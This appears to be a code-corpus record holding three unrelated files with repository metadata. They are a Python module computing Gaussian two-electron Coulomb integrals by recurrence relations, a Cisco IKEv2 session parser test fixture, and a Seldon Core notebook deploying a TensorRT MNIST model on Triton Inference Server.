(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc-1,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m) \
+ (wx-qx)*vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc-1,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
if lc > 1:
val = val +\
0.5*(lc-1)/eta*(vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc-2,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m)
-zeta/(zeta+eta)*
vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc-2,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1) )
if la:
val = val +\
0.5*la/(zeta+eta)*vrr((xa,ya,za),norma,(la-1,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc-1,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
return val
elif na:
val = (pz-za)*vrr((xa,ya,za),norma,(la,ma,na-1),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m) \
+ (wz-pz)*vrr((xa,ya,za),norma,(la,ma,na-1),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
if na > 1:
val = val + \
0.5*(na-1)/zeta*(vrr((xa,ya,za),norma,(la,ma,na-2),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m)
-eta/(zeta+eta)*
vrr((xa,ya,za),norma,(la,ma,na-2),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1) )
return val
elif ma:
val = (py-ya)*vrr((xa,ya,za),norma,(la,ma-1,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m) \
+ (wy-py)*vrr((xa,ya,za),norma,(la,ma-1,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
if ma > 1:
val = val + \
0.5*(ma-1)/zeta*(vrr((xa,ya,za),norma,(la,ma-2,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m)
-eta/(zeta+eta)*
vrr((xa,ya,za),norma,(la,ma-2,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1) )
return val
elif la:
val = (px-xa)*vrr((xa,ya,za),norma,(la-1,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m) \
+ (wx-px)*vrr((xa,ya,za),norma,(la-1,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
if la > 1:
val = val + \
0.5*(la-1)/zeta*(vrr((xa,ya,za),norma,(la-2,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m)
-eta/(zeta+eta)*
vrr((xa,ya,za),norma,(la-2,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m+1) )
return val
rab2 = pow(xa-xb,2) + pow(ya-yb,2) + pow(za-zb,2)
Kab = sqrt(2)*pow(pi,1.25)/(alphaa+alphab)\
*exp(-alphaa*alphab/(alphaa+alphab)*rab2)
rcd2 = pow(xc-xd,2) + pow(yc-yd,2) + pow(zc-zd,2)
Kcd = sqrt(2)*pow(pi,1.25)/(alphac+alphad)\
*exp(-alphac*alphad/(alphac+alphad)*rcd2)
rpq2 = pow(px-qx,2) + pow(py-qy,2) + pow(pz-qz,2)
T = zeta*eta/(zeta+eta)*rpq2
val = norma*normb*normc*normd*Kab*Kcd/sqrt(zeta+eta)*Fgamma(m,T)
return val
def vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,M):
px,py,pz = gaussian_product_center(alphaa,(xa,ya,za),alphab,(xb,yb,zb))
qx,qy,qz = gaussian_product_center(alphac,(xc,yc,zc),alphad,(xd,yd,zd))
zeta,eta = float(alphaa+alphab),float(alphac+alphad)
wx,wy,wz = gaussian_product_center(zeta,(px,py,pz),eta,(qx,qy,qz))
rab2 = pow(xa-xb,2) + pow(ya-yb,2) + pow(za-zb,2)
Kab = sqrt(2)*pow(pi,1.25)/(alphaa+alphab)\
*exp(-alphaa*alphab/(alphaa+alphab)*rab2)
rcd2 = pow(xc-xd,2) + pow(yc-yd,2) + pow(zc-zd,2)
Kcd = sqrt(2)*pow(pi,1.25)/(alphac+alphad)\
*exp(-alphac*alphad/(alphac+alphad)*rcd2)
rpq2 = pow(px-qx,2) + pow(py-qy,2) + pow(pz-qz,2)
T = zeta*eta/(zeta+eta)*rpq2
mtot = la+ma+na+lc+mc+nc+M
Fgterms = [0]*(mtot+1)
Fgterms[mtot] = Fgamma(mtot,T)
for im in xrange(mtot-1,-1,-1):
Fgterms[im]=(2.*T*Fgterms[im+1]+exp(-T))/(2.*im+1)
# Store the vrr values as a 7 dimensional array
# vrr_terms[la,ma,na,lc,mc,nc,m]
vrr_terms = {}
for im in xrange(mtot+1):
vrr_terms[0,0,0,0,0,0,im] = (
#norma*normb*normc*normd*Kab*Kcd/sqrt(zeta+eta)*Fgamma(im,T)
norma*normb*normc*normd*Kab*Kcd/sqrt(zeta+eta)*Fgterms[im]
)
for i in xrange(la):
for im in xrange(mtot-i):
vrr_terms[i+1,0,0, 0,0,0, im] = (
(px-xa)*vrr_terms[i,0,0, 0,0,0, im]
+ (wx-px)*vrr_terms[i,0,0, 0,0,0, im+1]
)
if i:
vrr_terms[i+1,0,0, 0,0,0, im] += (
i/2./zeta*( vrr_terms[i-1,0,0, 0,0,0, im]
- eta/(zeta+eta)*vrr_terms[i-1,0,0, 0,0,0, im+1]
))
for j in xrange(ma):
for i in xrange(la+1):
for im in xrange(mtot-i-j):
vrr_terms[i,j+1,0, 0,0,0, im] = (
(py-ya)*vrr_terms[i,j,0, 0,0,0, im]
+ (wy-py)*vrr_terms[i,j,0, 0,0,0, im+1]
)
if j:
vrr_terms[i,j+1,0, 0,0,0, im] += (
j/2./zeta*(vrr_terms[i,j-1,0, 0,0,0, im]
- eta/(zeta+eta)
*vrr_terms[i,j-1,0, 0,0,0, im+1]
))
for k in xrange(na):
for j in xrange(ma+1):
for i in xrange(la+1):
for im in xrange(mtot-i-j-k):
vrr_terms[i,j,k+1, 0,0,0, im] = (
(pz-za)*vrr_terms[i,j,k, 0,0,0, im]
+ (wz-pz)*vrr_terms[i,j,k, 0,0,0, im+1]
)
if k:
vrr_terms[i,j,k+1, 0,0,0, im] += (
k/2./zeta*(vrr_terms[i,j,k-1, 0,0,0, im]
- eta/(zeta+eta)
*vrr_terms[i,j,k-1, 0,0,0, im+1]
))
for q in xrange(lc):
for k in xrange(na+1):
for j in xrange(ma+1):
for i in xrange(la+1):
for im in xrange(mtot-i-j-k-q):
vrr_terms[i,j,k, q+1,0,0, im] = (
(qx-xc)*vrr_terms[i,j,k, q,0,0, im]
+ (wx-qx)*vrr_terms[i,j,k, q,0,0, im+1]
)
if q:
vrr_terms[i,j,k, q+1,0,0, im] += (
q/2./eta*(vrr_terms[i,j,k, q-1,0,0, im]
- zeta/(zeta+eta)
*vrr_terms[i,j,k, q-1,0,0, im+1]
))
if i:
vrr_terms[i,j,k, q+1,0,0, im] += (
i/2./(zeta+eta)*vrr_terms[i-1,j,k, q,0,0, im+1]
)
for r in xrange(mc):
for q in xrange(lc+1):
for k in xrange(na+1):
for j in xrange(ma+1):
for i in xrange(la+1):
for im in xrange(mtot-i-j-k-q-r):
vrr_terms[i,j,k, q,r+1,0, im] = (
(qy-yc)*vrr_terms[i,j,k, q,r,0, im]
+ (wy-qy)*vrr_terms[i,j,k, q,r,0, im+1]
)
if r:
vrr_terms[i,j,k, q,r+1,0, im] += (
r/2./eta*(vrr_terms[i,j,k, q,r-1,0, im]
- zeta/(zeta+eta)
*vrr_terms[i,j,k, q,r-1,0, im+1]
))
if j:
vrr_terms[i,j,k, q,r+1,0, im] += (
j/2./(zeta+eta)*vrr_terms[i,j-1,k,q,r,0,im+1]
)
for s in xrange(nc):
for r in xrange(mc+1):
for q in xrange(lc+1):
for k in xrange(na+1):
for j in xrange(ma+1):
for i in xrange(la+1):
for im in xrange(mtot-i-j-k-q-r-s):
vrr_terms[i,j,k,q,r,s+1,im] = (
(qz-zc)*vrr_terms[i,j,k,q,r,s,im]
+ (wz-qz)*vrr_terms[i,j,k,q,r,s,im+1]
)
if s:
vrr_terms[i,j,k,q,r,s+1,im] += (
s/2./eta*(vrr_terms[i,j,k,q,r,s-1,im]
- zeta/(zeta+eta)
*vrr_terms[i,j,k,q,r,s-1,im+1]
))
if k:
vrr_terms[i,j,k,q,r,s+1,im] += (
k/2./(zeta+eta)*vrr_terms[i,j,k-1,q,r,s,im+1]
)
return vrr_terms[la,ma,na,lc,mc,nc,M]
# Implement the interface to coulomb_repulsion and contr_coulomb
coulomb_repulsion = hrr
def contr_coulomb(aexps,acoefs,anorms,xyza,powa,
bexps,bcoefs,bnorms,xyzb,powb,
cexps,ccoefs,cnorms,xyzc,powc,
dexps,dcoefs,dnorms,xyzd,powd):
return contr_hrr(xyza,anorms,powa,aexps,acoefs,
xyzb,bnorms,powb,bexps,bcoefs,
xyzc,cnorms,powc,cexps,ccoefs,
xyzd,dnorms,powd,dexps,dcoefs)
def test_contr():
from basis_sto3g import basis_data
from Molecule import Molecule
from Ints import getbasis
from time import time
r = 1/0.52918
atoms=Molecule('h2o',atomlist = [(8,(0,0,0)),(1,(r,0,0)),(1,(0,0,r))])
bfs = getbasis(atoms,basis_data)
o_1s = bfs[0]
o_2s = bfs[1]
o_px = bfs[2]
o_py = bfs[3]
o_pz = bfs[4]
h1_s = bfs[5]
h2_s = bfs[6]
t0 = time()
val = \
contr_coulomb(h2_s.pexps,h2_s.pcoefs,h2_s.pnorms,
h2_s.origin,h2_s.powers,
h2_s.pexps,h2_s.pcoefs,h2_s.pnorms,
h2_s.origin,h2_s.powers,
h2_s.pexps,h2_s.pcoefs,h2_s.pnorms,
h2_s.origin,h2_s.powers,
o_pz.pexps,o_pz.pcoefs,o_pz.pnorms,
o_pz.origin,o_pz.powers)
t1 = time()
print val,t1-t0
def test_vrr():
import time
xa,ya,za = 0.,0.,0.
xb,yb,zb = 0.,0.,0.
xc,yc,zc = 0.,0.,0.
xd,yd,zd = 0.,0.,0.
norma = normb = normc = normd = 1.
alphaa = alphab = alphac = alphad = 1.
M = 0
for xa,ya,za,la,ma,na,lc,mc,nc in [(0,0,0, 0,0,0, 0,0,0),
(0,0,0, 1,0,0, 1,0,0),
(0,0,0, 0,1,0, 0,1,0),
(0,0,0, 0,0,1, 0,0,1),
(0,0,0, 2,0,0, 2,0,0),
(0,0,0, 0,2,0, 0,2,0),
(0,0,0, 0,0,2, 0,0,2),
(1,2,3, 1,0,0, 1,0,0),
(1,2,3, 0,1,0, 0,1,0),
(1,2,3, 0,0,1, 0,0,1),
(1,2,3, 2,0,0, 2,0,0),
(1,2,3, 0,2,0, 0,2,0),
(1,2,3, 0,0,2, 0,0,2),
(0,0,0, 1,1,0, 1,1,0),
(0,0,0, 0,1,1, 0,1,1),
(0,0,0, 1,0,1, 1,0,1),
(3,2,1, 1,1,0, 1,1,0),
(3,2,1, 0,1,1, 0,1,1),
(3,2,1, 1,0,1, 1,0,1),
]:
print xa,ya,za,la,ma,na,lc,mc,nc
t0 = time.time()
val1 = vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,M)
t1 = time.time()
val2 = vrr((xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,
(xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,M)
t2 = time.time()
print "Values: ",val1,val2
print "Timings: ",t1-t0,t2-t1
return
def test_hrr():
import time
xa,ya,za = 0.,0.,0.
xb,yb,zb = 0.,0.,0.
xc,yc,zc = 0.,0.,0.
xd,yd,zd = 0.,0.,0.
norma = normb = normc = normd = 1.
alphaa = alphab = alphac = alphad = 1.
lb,mb,nb = 1,0,1
ld,md,nd = 1,0,1
M = 0
for xa,ya,za,la,ma,na,lc,mc,nc in [(0,0,0, 0,0,0, 0,0,0),
(0,0,0, 1,0,0, 1,0,0),
(0,0,0, 0,1,0, 0,1,0),
(0,0,0, 0,0,1, 0,0,1),
(0,0,0, 2,0,0, 2,0,0),
(0,0,0, 0,2,0, 0,2,0),
(0,0,0, 0,0,2, 0,0,2),
(1,2,3, 1,0,0, 1,0,0),
(1,2,3, 0,1,0, 0,1,0),
(1,2,3, 0,0,1, 0,0,1),
(1,2,3, 2,0,0, 2,0,0),
(1,2,3, 0,2,0, 0,2,0),
(1,2,3, 0,0,2, 0,0,2),
(0,0,0, 1,1,0, 1,1,0),
(0,0,0, 0,1,1, 0,1,1),
(0,0,0, 1,0,1, 1,0,1),
(3,2,1, 1,1,0, 1,1,0),
(3,2,1, 0,1,1, 0,1,1),
(3,2,1, 1,0,1, 1,0,1),
]:
print xa,ya,za,la,ma,na,lc,mc,nc
t0 = time.time()
val1 = hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
t1 = time.time()
val2 = hrr((xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad,
(xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab)
t2 = time.time()
print "Values: ",val1,val2
print "Timings: ",t1-t0,t2-t1
return
if __name__ == '__main__':
doprofile = 0
if doprofile:
import profile,pstats
profile.run('test()','hgpprof.dat')
profdat = pstats.Stats('hgpprof.dat')
profdat.strip_dirs().sort_stats('time').print_stats(8)
else:
test_hrr()
| 46.152086 | 85 | 0.395672 | 4,984 | 34,291 | 2.692014 | 0.057183 | 0.034136 | 0.027726 | 0.019975 | 0.806365 | 0.789446 | 0.766863 | 0.758664 | 0.746441 | 0.716032 | 0 | 0.047152 | 0.431629 | 34,291 | 742 | 86 | 46.214286 | 0.641252 | 0.021784 | 0 | 0.562791 | 0 | 0 | 0.00365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.013953 | null | null | 0.012403 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
18d7fd05172929f7d9c7bf1f81ae363b296eede6 | 7,591 | py | Python | src/genie/libs/parser/iosxe/tests/ShowCryptoIkev2Session/cli/equal/golden_output_csr8kv_detailed_expected.py | nielsvanhooy/genieparser | 9a1955749697a6777ca614f0af4d5f3a2c254ccd | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/iosxe/tests/ShowCryptoIkev2Session/cli/equal/golden_output_csr8kv_detailed_expected.py | nielsvanhooy/genieparser | 9a1955749697a6777ca614f0af4d5f3a2c254ccd | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/iosxe/tests/ShowCryptoIkev2Session/cli/equal/golden_output_csr8kv_detailed_expected.py | nielsvanhooy/genieparser | 9a1955749697a6777ca614f0af4d5f3a2c254ccd | [
"Apache-2.0"
] | null | null | null | expected_output = {
'ikev2_session': {
'IPv4':{
1:{
'session_id': 3,
'status': 'UP-ACTIVE',
'ike_count': 1,
'child_count': 1,
'tunnel_id': 1,
'local_ip': '1.1.1.1',
'local_port': 500,
'remote_ip': '1.1.1.2',
'remote_port': 500,
'fvrf': 'none',
'ivrf': 'none',
'session_status': 'READY',
'encryption': 'AES-CBC',
'key_length': 256,
'prf': 'SHA256',
'hash_algo': 'SHA256',
'dh_group': 14,
'auth_sign': 'PSK',
'auth_verify': 'PSK',
'lifetime': 86400,
'activetime': 38157,
'ce_id': 1008,
'id': 3,
'local_spi': '6F86196AB2C574E3',
'remote_spi': '74AD695CF23C4805',
'local_id': '1.1.1.1',
'remote_id': '1.1.1.2',
'local_mesg_id': 2,
'remote_mesg_id': 0,
'local_next_id': 2,
'remote_next_id': 0,
'local_queued': 2,
'remote_queued': 0,
'local_window': 5,
'remote_window': 5,
'dpd_time': 0,
'dpd_retry': 0,
'fragmentation': 'no',
'dynamic_route': 'enabled',
'nat_detected': 'no',
'cts_sgt': 'disabled',
'initiator_of_sa': 'Yes',
'child_sa':{
1:{
'local_selectors': [],
'remote_selectors': [],
'traffic_selectors': ['8001::/0 - 8001::FFFF:FFFF:FFFF:FFFF/65535 -> 9001::/0 - 9001::FFFF:FFFF:FFFF:FFFF/65535', '89.89.89.0/0 - 89.89.89.255/65535 -> 99.99.99.0/0 - 99.99.99.255/65535'],
'esp_spi_in': '0x232CB82D',
'esp_spi_out': '0x30767B6E',
'ah_spi_in': '0x0',
'ah_spi_out': '0x0',
'cpi_in': '0x0',
'cpi_out': '0x0',
'child_encr': 'AES-CBC',
'keysize': 256,
'esp_hmac': 'SHA256',
'ah_hmac': 'None',
'compression': 'IPCOMP_NONE',
'mode': 'tunnel',
},
2:{
'local_selectors': [],
'remote_selectors': [],
'traffic_selectors': ['3001::/0 - 3001::FFFF:FFFF:FFFF:FFFF/65535 -> 3101::/0 - 3101::FFFF:FFFF:FFFF:FFFF/65535', '30.30.30.0/0 - 30.30.30.255/65535 -> 31.31.31.0/0 - 31.31.31.255/65535'],
'esp_spi_in': '0x232CB82D',
'esp_spi_out': '0x30767B6E',
'ah_spi_in': '0x0',
'ah_spi_out': '0x0',
'cpi_in': '0x0',
'cpi_out': '0x0',
'child_encr': 'AES-CBC',
'keysize': 256,
'esp_hmac': 'SHA256',
'ah_hmac': 'None',
'compression': 'IPCOMP_NONE',
'mode': 'tunnel',
},
},
},
},
'IPv6':{
1:{
'session_id': 5,
'status': 'UP-ACTIVE',
'ike_count': 1,
'child_count': 1,
'tunnel_id': 1,
'local_ip': '1.1.1::1',
'local_port': 500,
'remote_ip': '1.1.1::2',
'remote_port': 500,
'fvrf': 'none',
'ivrf': 'none',
'session_status': 'READY',
'encryption': 'AES-CBC',
'key_length': 256,
'prf': 'SHA256',
'hash_algo': 'SHA256',
'dh_group': 14,
'auth_sign': 'PSK',
'auth_verify': 'PSK',
'lifetime': 86400,
'activetime': 38157,
'ce_id': 1008,
'id': 3,
'local_spi': '6F86196AB2C574E5',
'remote_spi': '74AD695CF23C4806',
'local_id': '1.1.1::1',
'remote_id': '1.1.1::2',
'local_mesg_id': 2,
'remote_mesg_id': 0,
'local_next_id': 2,
'remote_next_id': 0,
'local_queued': 2,
'remote_queued': 0,
'local_window': 5,
'remote_window': 5,
'dpd_time': 0,
'dpd_retry': 0,
'fragmentation': 'no',
'dynamic_route': 'enabled',
'nat_detected': 'no',
'cts_sgt': 'disabled',
'initiator_of_sa': 'Yes',
'child_sa':{
1:{
'local_selectors': [],
'remote_selectors': [],
'traffic_selectors': ['2001::/0 - 2001::FFFF:FFFF:FFFF:FFFF/65535 -> 2101::/0 - 2101::FFFF:FFFF:FFFF:FFFF/65535', '20.20.20.0/0 - 20.20.20.255/65535 -> 21.21.21.0/0 - 21.21.21.255/65535'],
'esp_spi_in': '0x232CB82D',
'esp_spi_out': '0x30767B6E',
'ah_spi_in': '0x0',
'ah_spi_out': '0x0',
'cpi_in': '0x0',
'cpi_out': '0x0',
'child_encr': 'AES-CBC',
'keysize': 256,
'esp_hmac': 'SHA256',
'ah_hmac': 'None',
'compression': 'IPCOMP_NONE',
'mode': 'tunnel',
},
2:{
'local_selectors': [],
'remote_selectors': [],
'traffic_selectors': ['10.10.10.0/0 - 10.10.10.255/65535 -> 11.11.11.0/0 - 11.11.11.255/65535'],
'esp_spi_in': '0x232CB82D',
'esp_spi_out': '0x30767B6E',
'ah_spi_in': '0x0',
'ah_spi_out': '0x0',
'cpi_in': '0x0',
'cpi_out': '0x0',
'child_encr': 'AES-CBC',
'keysize': 256,
'esp_hmac': 'SHA256',
'ah_hmac': 'None',
'compression': 'IPCOMP_NONE',
'mode': 'tunnel',
},
},
},
},
},
} | 45.184524 | 228 | 0.316427 | 596 | 7,591 | 3.781879 | 0.184564 | 0.017746 | 0.015972 | 0.042591 | 0.850932 | 0.795031 | 0.795031 | 0.795031 | 0.795031 | 0.795031 | 0 | 0.159078 | 0.548676 | 7,591 | 168 | 229 | 45.184524 | 0.498832 | 0 | 0 | 0.797619 | 0 | 0.041667 | 0.336538 | 0.024499 | 0 | 0 | 0.01686 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
18d9bb920a0948557f9aee4ad4d4a481adcc6438 | 13,678 | py | Python | doc/jupyter_execute/examples/models/tensorrt/triton_tensorrt.py | edshee/seldon-core | 78c10fbca16a5e2a0c25b9673aa3deb220070e26 | [
"Apache-2.0"
] | null | null | null | doc/jupyter_execute/examples/models/tensorrt/triton_tensorrt.py | edshee/seldon-core | 78c10fbca16a5e2a0c25b9673aa3deb220070e26 | [
"Apache-2.0"
] | null | null | null | doc/jupyter_execute/examples/models/tensorrt/triton_tensorrt.py | edshee/seldon-core | 78c10fbca16a5e2a0c25b9673aa3deb220070e26 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# # NVIDIA TensorRT MNIST Example with Triton Inference Server
#
# 
#
# This example shows how you can deploy a TensorRT model with NVIDIA Triton Server. In this case we use a prebuilt TensorRT model for NVIDIA v100 GPUs.
#
# Note this example requires some advanced setup and is directed for those with tensorRT experience.
#
# ## Prerequisites
#
# * Install requirements in `requirements.txt`
# * An authorized kubernetes cluster with V100 GPUs installed and configured.
# * For GKE see [GKE GPU Documentation](https://cloud.google.com/kubernetes-engine/docs/how-to/gpus)
# * [Install Seldon Core](file:///home/clive/work/seldon-core/fork-seldon-core/doc/_build/html/examples/seldon_core_setup.html) and install Ambassador and port-forward to Ambassador on localhost:8003
#
#
# This example uses the [KFServing protocol supported by Triton Infernence Server](https://github.com/triton-inference-server/server/tree/master/docs/protocol) which Seldon also supports.
# In[1]:
get_ipython().run_line_magic('matplotlib', 'inline')
import json
import numpy as np
import tensorflow as tf
import tensorflow_datasets as tfds
from matplotlib import pyplot as plt
def gen_image(arr):
two_d = (np.reshape(arr, (28, 28)) * 255).astype(np.uint8)
plt.imshow(two_d, cmap=plt.cm.gray_r, interpolation="nearest")
return plt
# In[2]:
(ds_train, ds_test), ds_info = tfds.load(
"mnist",
split=["train", "test"],
shuffle_files=True,
as_supervised=True,
with_info=True,
)
# In[3]:
def normalize_img(image, label):
"""Normalizes images: `uint8` -> `float32`."""
return tf.cast(image, tf.float32) * 255, label
ds_train = ds_train.map(normalize_img, num_parallel_calls=tf.data.experimental.AUTOTUNE)
npX = tfds.as_numpy(ds_train, graph=None)
# In[4]:
MEANS = np.array(
[
255.0,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
254,
254,
254,
253,
252,
252,
251,
251,
252,
252,
253,
254,
254,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
254,
254,
253,
251,
249,
248,
245,
243,
242,
242,
243,
246,
248,
251,
253,
254,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
254,
253,
250,
247,
242,
235,
228,
220,
213,
210,
211,
216,
224,
232,
240,
246,
251,
253,
254,
255,
255,
255,
255,
255,
255,
255,
255,
254,
251,
248,
242,
234,
223,
211,
196,
181,
170,
164,
166,
175,
189,
205,
221,
233,
243,
248,
252,
254,
255,
255,
255,
255,
255,
255,
254,
252,
248,
241,
231,
217,
202,
184,
166,
149,
136,
131,
134,
143,
159,
180,
201,
220,
234,
243,
249,
253,
255,
255,
255,
255,
255,
254,
253,
249,
243,
233,
219,
201,
181,
161,
143,
130,
122,
120,
122,
129,
141,
161,
185,
208,
227,
240,
248,
252,
254,
255,
255,
255,
255,
254,
251,
246,
238,
226,
208,
187,
164,
146,
135,
131,
132,
133,
132,
133,
139,
154,
178,
202,
223,
239,
248,
252,
255,
255,
255,
255,
254,
253,
251,
245,
236,
221,
200,
177,
156,
144,
144,
150,
156,
156,
151,
144,
144,
156,
178,
202,
224,
240,
249,
253,
255,
255,
255,
255,
254,
253,
251,
245,
235,
218,
195,
172,
155,
152,
161,
172,
176,
170,
161,
150,
149,
161,
183,
207,
227,
242,
250,
254,
255,
255,
255,
255,
255,
254,
251,
246,
234,
215,
191,
168,
156,
160,
173,
182,
179,
169,
157,
147,
149,
166,
190,
213,
230,
243,
251,
254,
255,
255,
255,
255,
255,
254,
252,
246,
233,
212,
186,
165,
157,
164,
175,
176,
165,
153,
142,
137,
147,
170,
196,
217,
231,
242,
251,
255,
255,
255,
255,
255,
255,
254,
252,
245,
230,
207,
182,
163,
158,
164,
168,
158,
143,
131,
125,
128,
146,
174,
200,
218,
231,
241,
250,
254,
255,
255,
255,
255,
255,
255,
252,
243,
227,
205,
181,
164,
159,
161,
157,
139,
124,
115,
118,
127,
148,
176,
199,
216,
230,
240,
249,
254,
255,
255,
255,
255,
255,
254,
251,
241,
224,
204,
184,
169,
163,
160,
150,
132,
119,
116,
123,
133,
153,
177,
197,
214,
228,
240,
249,
254,
255,
255,
255,
255,
255,
254,
251,
239,
222,
205,
189,
177,
171,
166,
154,
139,
129,
128,
134,
144,
159,
177,
195,
213,
228,
241,
249,
254,
255,
255,
255,
255,
255,
254,
249,
237,
222,
207,
195,
186,
180,
175,
166,
153,
143,
140,
142,
150,
162,
178,
195,
214,
230,
242,
250,
254,
255,
255,
255,
255,
255,
253,
247,
235,
220,
207,
197,
189,
183,
179,
172,
160,
148,
142,
143,
150,
161,
178,
198,
217,
233,
244,
250,
254,
255,
255,
255,
255,
255,
253,
246,
233,
218,
204,
192,
184,
177,
172,
165,
153,
142,
137,
139,
148,
163,
183,
204,
222,
236,
246,
251,
254,
255,
255,
255,
255,
255,
253,
247,
234,
218,
201,
186,
174,
165,
157,
148,
137,
130,
129,
137,
151,
171,
194,
214,
230,
242,
248,
252,
254,
255,
255,
255,
255,
255,
253,
249,
238,
222,
203,
184,
168,
154,
143,
132,
124,
123,
130,
145,
165,
188,
209,
227,
239,
247,
251,
253,
255,
255,
255,
255,
255,
255,
254,
251,
244,
232,
214,
194,
174,
156,
142,
132,
130,
134,
148,
167,
189,
210,
226,
238,
246,
250,
253,
254,
255,
255,
255,
255,
255,
255,
255,
253,
250,
243,
231,
215,
196,
178,
163,
155,
156,
164,
179,
197,
215,
230,
240,
247,
251,
253,
254,
255,
255,
255,
255,
255,
255,
255,
255,
254,
253,
251,
246,
238,
228,
217,
208,
203,
204,
210,
218,
228,
236,
243,
248,
251,
253,
254,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
254,
252,
249,
245,
241,
238,
237,
237,
239,
242,
245,
247,
250,
252,
253,
254,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
254,
254,
253,
252,
250,
249,
248,
249,
249,
250,
252,
253,
253,
254,
254,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
254,
254,
254,
254,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
255,
]
)
# In[5]:
get_ipython().run_cell_magic('writefile', 'model.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: mnist\nspec:\n protocol: kfserving\n transport: rest\n predictors:\n - graph:\n children: []\n implementation: TRITON_SERVER\n modelUri: gs://seldon-models/tensorrt/v100_mnist\n name: mnist\n componentSpecs:\n - spec:\n containers:\n - name: mnist\n resources:\n limits:\n nvidia.com/gpu: 1\n name: tensorrt\n replicas: 1')
# In[6]:
get_ipython().system('kubectl apply -f model.yaml')
# In[7]:
get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=mnist -o jsonpath='{.items[0].metadata.name}')")
# Check metadata of model
# In[8]:
